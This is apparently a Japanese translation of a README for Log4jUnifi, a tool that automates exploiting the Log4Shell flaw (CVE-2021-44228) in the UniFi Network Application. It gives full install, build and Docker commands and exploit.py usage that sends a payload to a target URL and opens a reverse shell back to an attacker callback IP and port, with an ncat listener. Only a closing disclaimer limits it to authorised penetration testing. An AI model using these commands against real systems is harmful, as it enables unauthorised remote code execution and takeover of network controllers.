
Unifi Network ApplicationにおけるCVE-2021-44228を悪用してリモートコード実行などを行う。
Unifi Network ApplicationにおけるCVE-2021-44228を悪用し、リモートコード実行などを可能にします。
この脆弱性の概念実証(PoC)は散在しており、手動で実施する必要があります。このリポジトリはそのエクスプロイトプロセスを自動化します。ポストエクスプロイトの手順については、上記のブログ記事を参照してください。
このリポジトリは手動またはDockerで使用できます。
エクスプロイトを手動でダウンロードして実行するには、以下の手順を実行してください。まず、攻撃用ホストにJavaとMavenがインストールされていることを確認します。DebianベースのOSでaptを使用してインストールするには、次のコマンドを実行します:
apt update && apt install openjdk-11-jre maven
GitHubリポジトリをクローンし、すべてのPython要件をインストールします:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && pip3 install -r requirements.txt
Log4jUnifiリポジトリのルートから、以下のコマンドでRogue-Jndiプロジェクトをコンパイルします:
mvn package -f utils/rogue-jndi/
まず、攻撃用ホストにDockerがインストールされていることを確認します。(その手順については説明しません)
その後、以下のコマンドを実行してリポジトリをクローンし、使用するDockerイメージをビルドします。
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && docker build -t log4junifi .
コンテナを実行するには、コマンドラインフラグを追加して、次のようなコマンドを実行します。コンテナはリバースシェルをキャッチしないので注意してください。別のシェルセッションでncatリスナーを作成する必要があります:
docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi \
-u https://unifi.acme.com:8443 -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -u URL -i CALLBACK -p PORT
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Unifi Network Manager base URL
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
ローカルシステムにインストールしたツールを使用してリバースシェルを取得します:
python3 exploit.py -u https://unifi.acme.com:8443 -i 10.10.10.1 -p 4444
このツールはペネトレーションテスト中に使用するために設計されています。事前の相互同意なしにターゲットを攻撃する目的でこのツールを使用することは違法です。該当するすべての現地の州法および連邦法を遵守するのはエンドユーザーの責任です。開発者は一切の責任を負わず、このプログラムの誤用についても責任を負いません。